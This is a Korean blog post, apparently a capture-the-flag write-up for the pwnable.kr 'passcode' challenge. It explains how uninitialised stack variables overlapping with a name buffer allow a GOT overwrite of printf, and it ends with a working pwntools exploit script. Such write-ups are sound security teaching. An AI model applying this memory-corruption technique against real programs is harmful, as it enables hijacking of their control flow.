본문 바로가기

pwnable.kr/Toddler's Bottle

passcode

해당 문제의 write-up을 이해하기 위해선 함수가 호출 및 종료(return) 됐을 때, 스택에 어떤 변화가 일어나는지 알아야 한다. 이를 위해 아래 게시글을 참조하자.

http://www.tcpschool.com/c/c_memory_stackframe

 

코딩교육 티씨피스쿨

4차산업혁명, 코딩교육, 소프트웨어교육, 코딩기초, SW코딩, 기초코딩부터 자바 파이썬 등

tcpschool.com

 

 

소스 코드

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

 

소스코드 설명

[1] login 함수의 scanf 부분을 유심히 살펴보자.

	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);

우리가 평소에 보던 scanf 사용 방식과 차이가 있다. 위의 코드는 scanf의 인자로 passcode1의 주소가 아니라 을 주고 있는데,

다음과 같이 scanf를 사용하게 되면 passcode1의 주소에 입력값을 저장하는 게 아니라 "passcode1에 저장돼있는 값"의 주소에 입력값을 저장하게 된다.

예를 들어, passcode1 == 0x12345678이라면, 입력값을 0x12345678이라는 주소에 저장하게 된다.

 

소스코드 설명은 이쯤이면 될 것 같다.

이제 디버거를 통해 바이너리를 분석해보자.

 

바이너리 분석

[1]

[1] main함수를 disassemble한 결과는 다음과 같다. welcome함수를 호출한 뒤 바로 login함수를 호출하는데, 둘은 모두 인자가 없는 함수이므로, welcome()과 login()이 사용하는 스택 공간은 일부 중복될 것이다.

 

이해를 돕기 위해 main()의 welcome()과 login() 호출 과정을 디버거를 통해 살펴보자

 

[2] welcome()을 실행하기 직전의 모습
[3] welcome()이 호출된 직후의 모습
[4] welcome()의 push ebp; mov ebp, esp; 가 수행된 이후의 모습

여기서 ESP의 변화와 EBP 값을 유심히 살펴보자.

[2](welcome()을 실행하기 직전)에서의 ESP == 0xffa0e2a0

[3](welcome()이 호출된 직후)에서의 ESP == 0xffa0e29c

[4](welcome()의 push ebp; mov ebp, esp; 가 수행된 이후)에서의 ESP, EBP == 0xffa0e298 /

 

[2]->[3]으로 가며 push RETURN ADDRESS가 되며 esp-0x4가 되고,

[3]->[4]로 가며 push ebp가 되며 다시 esp-0x4가 된다. 이를 그림으로 나타내면 다음과 같다.

 

[5]

 

***이제부터가 아주 중요함

 

login()이 호출될 때의 동작도 살펴보자

[6] welcome()이 종료되고 login()을 호출하기 직전

이후 호출 과정은 welcome()이 호출될 때인 위의 사진 [3], [4]의 동작과 똑같으니 스킵하고,

우리가 여기서 유심히 볼 것은 사진[6] 시점에서의 ESP 값이다.

 

 [6](login()을 호출하기 직전)에서의 ESP와 [2](welcome()을 호출하기 직전)에서의 ESP값이 같다.

 

이게 무엇을 의미하느냐

바로, welcome()이 사용한 스택프레임의 EBP와 login()이 사용하는 스택프레임의 EBP가 같다는 뜻(둘 다 인자가 없는 함수이므로)이다

이건 다시 뭘 뜻하냐면, 두 함수가 같은 공간을 스택프레임으로 사용한다는 뜻과 같다.

 

즉 Heap Use After Free와 비슷하게,

login()에서 변수를 초기화 해주지 않는다면, welcome()에서 변수에 저장됐던 데이터와 같은 영역을 사용하는 login()의 변수가 자동으로 welcome() 사용 후 남아있던 데이터로 자동으로 초기화 된다는 걸 뜻한다.

 

그러니 우리는 welcome()의 변수를 통해 login()의 변수를 조작할 수 있는 것이다.(login()에서 scanf를 괴랄하게 사용하는 탓에 login() 내의 변수를 초기화 하지 않으므로.)

 

그럼 이제 welcome()의 변수 char name[100]login()의 변수 passcode1, passcode2가 어디에 위치하는지 살펴보자

 

[7] welcome()의 disassemble 결과
[8] login()의 disassemble 결과

[7], [8]을 통해 파악한 welcome()과 login()의 스택 구조는 다음과 같다

 

char name[100]의 하위 4byte와 passcode1이 겹친다. 나는 이 점을 이용해 exploit을 할 것이다.

 

 

exploit 설계

핵심적인 설명은 위에서 모두 마쳤다. 이제 exploit을 설계해보자.

 

login()의 disassemble 결과

 

Step 0. login()을 disassemble 한 것을 보면 첫 번째 scanf 이후 printf를 호출한다.

또한 소스코드의 login() 내에 system("/bin/cat flag");이라는 코드가 존재하므로, 해당 바이너리의 코드 세그먼트에는 해당 코드가 적혀있을 것이다.

따라서 나는 GOT Overwrite를 통해 printf_got를 system("/bin/cat flag")의 주소로 overwrite 할 것이다.

login()을 disassemble 한 위의 사진을 보면 내가 원하는 system("/bin/cat flag")는 

0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af
0x080485ea <+134>:	call   0x8048460 <system@plt>

0x080485e3에 위치하는 것을 알 수 있다.

참고로 

0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af

에서 코드 세그먼트에 위치한 0x80487af에는 아래 사진과 같이 "/bin/cat flag"라는 문자열이 위치한다.

(32bit 아키텍처에서는 함수를 사용할 때 레지스터에 인자를 담는 것이 아니라, 인자를 스택에 쌓아서 사용한다)

 

 

 

Step 1. welcome()을 통해 passcode1에 해당하는 위치char name[100]의 하위 4byte에 printf_got의 주소를 넣는다.

 

Step 2. login()의 scanf("%d", passcode1)을 통해 printf_got를 0x080485e3( system("/bin/cat flag") )로 overwrite 한다.

 

from pwn import *
p = ssh('passcode', 'pwnable.kr', 2222, 'guest')
e = ELF('./passcode')
s = p.process('./passcode')

printf_got = e.got['printf']
system_cat_flag = 0x80485e3

payload = b'a'*96 + p32(printf_got)

#[1] welcome() -> passcode1 == printf_got
s.sendlineafter('enter you name : ', payload)

#[2] login() -> overwrite printf_got -> system("/bin/cat flag")
s.sendlineafter('enter passcode1 : ', str(0x80485e3).encode())

s.interactive()

'pwnable.kr > Toddler's Bottle' 카테고리의 다른 글

random  (0) 2023.08.04
flag  (0) 2023.08.03
bof  (1) 2023.06.14
collision  (0) 2023.06.14
fd  (0) 2023.06.14